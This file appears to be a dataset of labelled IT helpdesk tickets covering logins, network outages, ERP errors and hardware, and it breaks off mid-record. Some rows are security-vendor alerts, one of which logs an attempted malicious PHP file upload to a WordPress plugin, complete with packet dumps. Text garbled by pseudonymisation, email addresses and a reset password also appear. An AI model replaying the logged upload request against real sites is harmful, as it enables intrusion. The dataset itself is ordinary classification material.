freundlichem gruß + +jctnelqs lansuiwe +quality assurance +jctnelqs.lansuiwe@gmail.com +",GRP_33 +"abended job in job_scheduler: Job_1148 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1148 at 08/17/16 01:15:32",GRP_9 +"please advise damage dell laptop lit only 1 minute + +received from: bmhxwvys.tdmgolwn@gmail.com + +dear sir + +please advise damage dell laptop lit only 1 minute in, see attachment +thank for the response and cooperation. + +best ",GRP_19 +"demage laptop + +received from: bmhxwvys.tdmgolwn@gmail.com + +dear sir + +i apologize +i do not know a lot about the mechanics lap top, the power button surely die. +sorry i just users, in indonesia, my time is very limited for customer visits and evaluation of the data and provide engineering solutions. +so if possible i ask laptop in exchange, please help if you can bring to mr. abhay, +mr. abhay have a plan date august 22, 2016 will come to indonesia. + +",GRP_19 +erp SID_37 account locked erp SID_37 account locked ,GRP_0 +need adobe reader to download . need adobe reader to download .,GRP_0 +"account activation + +received from: nxlzpgfr.rlqowmyt@gmail.com + +good morning, + +please reactivate the account of my colleague mr. xrfcjkdl dtnzgkby (vvsfgtyrinv), + + + + +best ",GRP_2 +"virus has been found in my laptop _x000D_ +_x000D_ +received from: gqwdslpc.clhgpqnb@gmail.com_x000D_ +_x000D_ +following virus has been found in my laptop, please rectify the same._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d1f865.b82a99c0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +skype会议时不去 skype会议从邮箱里的链接进不去。,GRP_30 +"attendance_tool password _x000D_ +_x000D_ +received from: xwertljy.zrmlhkyq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +attendance_tool password forgot please reset._x000D_ +_x000D_ +",GRP_0 +"reboot of lhqsm435, HostName_951, HostName_952, lhqsm489 & HostName_997 (sql uacyltoe hxgaycze). reboot of lhqsm435, HostName_951, HostName_952, lhqsm489 & HostName_997 (sql uacyltoe hxgaycze). ",GRP_8 +"po issue _x000D_ +_x000D_ +received from: jrdafplx.fcnjmvts@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +for the multiple cost center , why the gr amount is 0?_x000D_ +_x000D_ +[cid:image005.png@01d1f873.8d4d35b0]_x000D_ +_x000D_ +[cid:image006.png@01d1f873.8d4d35b0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +with best ",GRP_29 +"i can not connect to vpn. name:pfzxecbo ptygkvzl_x000D_ +language:_x000D_ +browser:microsoft internet explorer_x000D_ +email:pfzxecbo.ptygkvzl@gmail.com_x000D_ +customer number:_x000D_ +telephone:_x000D_ +summary:i can not connect to vpn.",GRP_0 +实习生登录office365下载邮件附件时报错（转给贺正平） 实习生登录office365下载邮件附件时报错,GRP_30 +"lcow8327368 shows down since 8/16/2016 3:48 pm est lcow8327368 shows down since 8/16/2016 3:48 pm est_x000D_ +location : new albaney._x000D_ +engineering_tool aggergrythator production server.",GRP_8 +餐厅电视无法播放视频文件 餐厅电视机无法播放视频文件，请小贺协助完成。谢谢！,GRP_30 +"please help add e-mail box to my outlook + +received from: pkdavqwt.tafrmxsh@gmail.com + +hello it team, +could you please add e-mail box -kds.plant_283-services@company.com to my outlook? my id is jilgtyq, ",GRP_0 +"network outage : , spain kenci site is hard down at 8:40 pm et on 08/16. no backup circuit. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________8:40 pm et on 08/16._____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____no___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +login issue login issue ,GRP_0 +company login issue. company login issue.,GRP_0 +制粉电脑电源线等损坏 制粉三楼控制室内电脑电源线、网线等因高温损坏，需更换。,GRP_48 +skype for businessæ•…éšœ 系统中突然找不到skype for business了,GRP_48 +"拼写和语法错误 编辑ppt时，总是弹出""无法检查拼写和语法错误""，也无法安装。",GRP_48 +电脑故障 质控部拉力试验机控制电脑的操作系统启动非常缓慢，控制软件丢失。,GRP_48 +"HostName_188: ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], [] HostName_188 : ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], []",GRP_1 +unable to submit discount form unable to submit discount form ,GRP_0 +reset erp SID_34 password for user soemec reset erp SID_34 password for user soemec,GRP_0 +"abended job in job_scheduler: hr_tooldcvcgenratn received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: hr_tooldcvcgenratn at 08/16/16 17:02:27",GRP_6 +"user got a pop-up that displayed virus on the browser. user got a pop-up that displayed virus on the browser._x000D_ +-advised the user to restart the pc as he was unable to open anyother window._x000D_ +-issue resolved.",GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"please extend wireless access from ticket_no1480742 to 12/31/16 consultant vmhfteqo jpsfikow from schneider downs needs wireless account extended to the end of the year._x000D_ +_x000D_ +it is due to expire on 8/31/16, per ticket_no1480742._x000D_ +_x000D_ +",GRP_0 +lcosm005(conformaclad shop_floor_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et lcosm005(conformaclad shop_floor_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et,GRP_1 +unable to login to her microsoft 365 email account unable to login to her microsoft 365 email account ,GRP_0 +"power outage : usa - (company inc) vpn circuit is down at 3:45 pm et on 08/16. site is up on primary. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____slo site____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____________3:45 pm et on 08/16.__________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +vitalyst // unable to access to forecast to plan in crm unable to access to forecast to plan in crm,GRP_22 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: Job_1320 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1320 at 08/16/16 15:06:28",GRP_9 +"security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231 source ip :10.16.140.231 +system name :evhl8114123 +user name: companypzyre mqlsfkre(ldnfgt) +location :germany +sep , sms status :no updated +field sales user ( yes / no) : no +dsw event log:see below +-------------------------------------------------------------------------- +========================= +incident overview +========================= +we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code. + +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call) +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal) + +sincerely, +secureworks soc + +========================= +technical details +========================= +remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote. + +an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include: +-w32.blaster.worm/msblast/lovsan +-w32.welchia/nachi +-w32.reatle + + +========================= +references +========================= + + + + + + +========================= +event data +========================= +related events: +event id: 81646471 +event summary: repeat outbound connection for 135/tcp +occurrence count: 234 +event count: 2 + +host and connection information +source ip: 10.16.140.231 +source hostname: evhl8114123 +source port: 54411 +destination ip: 62.157.140.133 +destination port: 135 +destination ip geolocation: ulm, deu +connection directionality: outgoing +protocol: tcp + +device information +device ip: 80.71.06.702 +device name: company-european-asa.company.com-1 +log time: 2016-08-15 at 09:26:41 utc +action: blocked +cvss score: -1 + +scwx event processing information +sherlock rule id (sle): 237526 +inspector rule id: 186739 +inspector event id: 626672260 +ontology id: 200020003203009162 +event type id: 200020003203009062 +agent id: 103761 + +event detail: +aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] + + + +event id: 81646714 +event summary: repeat outbound connection for 135/tcp +occurrence count: 234 +event count: 2 + +host and connection information +source ip: 10.16.140.231 +source hostname: evhl8114123 +source port: 54411 +destination ip: 80.156.86.78 +destination port: 135 +destination ip geolocation: ulm, deu +connection directionality: outgoing +protocol: tcp + +device information +device ip: 80.71.06.702 +device name: company-european-asa.company.com-1 +log time: 2016-08-15 at 09:26:41 utc +action: blocked +cvss score: -1 + +scwx event processing information +sherlock rule id (sle): 237526 +inspector rule id: 186739 +inspector event id: 626672260 +ontology id: 200020003203009162 +event type id: 200020003203009062 +agent id: 103761 + +event detail: +aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]",GRP_2 +"password reset name:mikhghytr karaffa +language: +browser:microsoft internet explorer +email:vfrdxtqw.jfbmsenz@gmail.com +customer number: +telephone: +summary:hello, can you please advise on my crm password to start?",GRP_0 +update on crm access ticket_no0430983 update on crm access ticket_no0430983,GRP_0 +ticket update on ticket_no0430539 ticket update on ticket_no0430539,GRP_0 +ticket update on inplant_850619 ticket update on inplant_850619,GRP_0 +ticket update on inplant_850899 ticket update on inplant_850899,GRP_0 +ticket update on inplant_850503 ticket update on inplant_850503,GRP_0 +"security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231 source ip :10.16.140.231_x000D_ +system name :evhl8114123_x000D_ +user name: companypzyre mqlsfkre(ldnfgt)_x000D_ +location :germany_x000D_ +sep , sms status :no updated_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log:see below_x000D_ +--------------------------------------------------------------------------_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote. _x000D_ +_x000D_ +an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include:_x000D_ +-w32.blaster.worm/msblast/lovsan _x000D_ +-w32.welchia/nachi_x000D_ +-w32.reatle_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 81646471_x000D_ +event summary: repeat outbound connection for 135/tcp_x000D_ +occurrence count: 234_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 10.16.140.231_x000D_ +source hostname: evhl8114123 _x000D_ +source port: 54411_x000D_ +destination ip: 62.157.140.133_x000D_ +destination port: 135_x000D_ +destination ip geolocation: ulm, deu_x000D_ +connection directionality: outgoing_x000D_ +protocol: tcp_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.71.06.702_x000D_ +device name: company-european-asa.company.com-1_x000D_ +log time: 2016-08-15 at 09:26:41 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 237526_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 626672260_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103761_x000D_ +_x000D_ +event detail:_x000D_ +aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +event id: 81646714_x000D_ +event summary: repeat outbound connection for 135/tcp_x000D_ +occurrence count: 234_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 10.16.140.231_x000D_ +source hostname: evhl8114123 _x000D_ +source port: 54411_x000D_ +destination ip: 80.156.86.78_x000D_ +destination port: 135_x000D_ +destination ip geolocation: ulm, deu_x000D_ +connection directionality: outgoing_x000D_ +protocol: tcp_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.71.06.702_x000D_ +device name: company-european-asa.company.com-1_x000D_ +log time: 2016-08-15 at 09:26:41 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 237526_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 626672260_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103761_x000D_ +_x000D_ +event detail:_x000D_ +aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0]",GRP_2 +"circuit outage: carrier, india telecom_vendor_1 circuit is down since 3:55 am et on 08/16 site is up on primary tikona circuit what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______3:55 am et on 08/16_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to access site unable to access site ,GRP_0 +"could you please help set up erp. my user name and password do not work _x000D_ +_x000D_ +received from: saqbgcpl.ybfzcjiq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you please help set up erp. my user name and password do not work._x000D_ +",GRP_0 +"zmmdata currency error when trying to extend to plant_317. assign to vaghjmskee krisyuhnyrt zmmdata currency error when trying to extend to plant_317. assign to vaghjmskee krisyuhnyrt + +i am getting the following error when trying to extend to plant_317. example mm#2240970 + +currency amount 3.4500 jpy in field moving_pr could not be converted +",GRP_20 +unable to connect to dv06 unable to connect to dv06,GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"security incidents - ( sw #in33501789 ) : broadscanning: possible vulnerability scanning - 46.161.9.35 we are seeing activity indicating the host at 46.161.9.35 is conducting a vulnerability scan. these scans are used to identify specific vulnerabilities on a remote host that could be exploited to potentially interfere with service availability, execute code, or usa an attacker with unauthorized access. the results of this scan could be used for future attacks or exploitation of the targeted host(s). _x000D_ +_x000D_ +based on our internet visibility we are detecting this as a non-targeted broadscan. similar activity from this source has been detected across our client base. please consider blocking this ip address and investigating the host for any malicious scrip_x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket as per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at ._x000D_ +_x000D_ +1)full escalation for broadscanning alerts (explicit notification via a high priority ticket and phone call)_x000D_ +2)autoresolve for broadscanning alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 43589636_x000D_ +event summary: 20369 vid12631 suspicious executable file upload php http incoming_x000D_ +occurrence count: 2_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 46.161.9.35_x000D_ +source port: 52806_x000D_ +source ip geolocation: st pethrywrsburg, rus_x000D_ +destination ip: 172.20.10.37_x000D_ +destination port: 80_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http method: post_x000D_ +http status code: 404_x000D_ +user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0_x000D_ +host: www.companyipg.com_x000D_ +full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php_x000D_ +_x000D_ +device information_x000D_ +device ip: 172.20.10.208_x000D_ +device name: isensor02.company.com_x000D_ +log time: 2016-08-14 at 20:38:30 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 655375_x000D_ +cvss score: -1 _x000D_ +vendor priority: 3_x000D_ +vendor version: 7_x000D_ +vendor reference: vid, 12631_x000D_ +file name: wp-setup.php_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 891631_x000D_ +inspector rule id: 277082_x000D_ +inspector event id: 61024435_x000D_ +ontology id: 200020003203722280_x000D_ +event type id: 200020003203056732_x000D_ +agent id: 103793_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [**]_x000D_ +[classification: none] [priority: 3] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602984][event id: 655375][time: 2582318221.714106]_x000D_ +[xref => vid, 12631]_x000D_ +[src ip: 46.161.9.35][dst ip: 172.20.10.37][sport/itype: 52806][dport/icode: 80][proto: 6]_x000D_ +08/14/2016-20:38:30.714106 46.161.9.35:52806 -> 172.20.10.37:80_x000D_ +tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df_x000D_ +***ap*** seq: 0x49c51796 ack: 0x9698e7c8 win: 0x73 tcplen: 32_x000D_ +tcp options (3) => nop nop ts: 380683315 9237098 _x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php]_x000D_ +_x000D_ +[ex http_hostname 10: www.companyipg.com]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.......wz...........eh...\@.1.gm...#...%.f.pi..........sk2...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.*/*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name=""file"";.filename=""wp-setup.php""..content-type:.text/plain......--ba7336a47f1648dc9255eb59510e6f02--.._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 c6d6 b057 7ae5 0a00 ca02 0000 .......wz......._x000D_ +000010 ca02 0000 4568 02ca 115c 4000 3106 476d ....eh...\@.1.gm_x000D_ +000020 2ea1 0923 ac14 0a25 ce46 0050 49c5 1796 ...#...%.f.pi..._x000D_ +000030 9698 e7c8 8018 0073 6b32 0000 0101 080a .......sk2......_x000D_ +000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp_x000D_ +000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins_x000D_ +000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye_x000D_ +000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti_x000D_ +000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv_uploader_x000D_ +000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h_x000D_ +0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme_x000D_ +0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont_x000D_ +0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297._x000D_ +0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding_x000D_ +0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate._x000D_ +0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.*/*..us_x000D_ +000100 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill_x000D_ +000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n_x000D_ +000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0)._x000D_ +000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f_x000D_ +000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con_x000D_ +000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al_x000D_ +000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ_x000D_ +000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for_x000D_ +000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary_x000D_ +000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d_x000D_ +0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0_x000D_ +0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47_x000D_ +0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595_x000D_ +0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content_x000D_ +0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo_x000D_ +0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name=""f_x000D_ +000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile"";.filename=""_x000D_ +000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php""..c_x000D_ +000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex_x000D_ +000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain......--ba7336_x000D_ +0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb_x000D_ +0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--.._x000D_ +==pcap 1 hex e==_x000D_ +_x000D_ +event id: 43589634_x000D_ +event summary: 20369 vid12631 suspicious executable file upload php http incoming_x000D_ +occurrence count: 2_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 46.161.9.35_x000D_ +source port: 52806_x000D_ +source ip geolocation: st pethrywrsburg, rus_x000D_ +destination ip: 208.211.136.158_x000D_ +destination port: 80_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http method: post_x000D_ +http status code: 404_x000D_ +user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0_x000D_ +host: www.companyipg.com_x000D_ +full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php_x000D_ +_x000D_ +device information_x000D_ +device ip: 208.211.136.207_x000D_ +device name: isensplant_247.company.com_x000D_ +log time: 2016-08-14 at 20:38:30 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 655375_x000D_ +cvss score: -1 _x000D_ +vendor priority: 3_x000D_ +vendor version: 7_x000D_ +vendor reference: vid, 12631_x000D_ +file name: wp-setup.php_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 891631_x000D_ +inspector rule id: 277082_x000D_ +inspector event id: 61024435_x000D_ +ontology id: 200020003203722280_x000D_ +event type id: 200020003203056732_x000D_ +agent id: 102989_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [**]_x000D_ +[classification: none] [priority: 3] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602981][event id: 262411][time: 2582318221.758719]_x000D_ +[xref => vid, 12631]_x000D_ +[src ip: 46.161.9.35][dst ip: 208.211.136.158][sport/itype: 52806][dport/icode: 80][proto: 6]_x000D_ +08/14/2016-20:38:30.758719 46.161.9.35:52806 -> 208.211.136.158:80_x000D_ +tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df_x000D_ +***ap*** seq: 0x3043ff92 ack: 0xdef989b5 win: 0x73 tcplen: 32_x000D_ +tcp options (3) => nop nop ts: 380683315 9237098 _x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php]_x000D_ +_x000D_ +[ex http_hostname 10: www.companyipg.com]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ 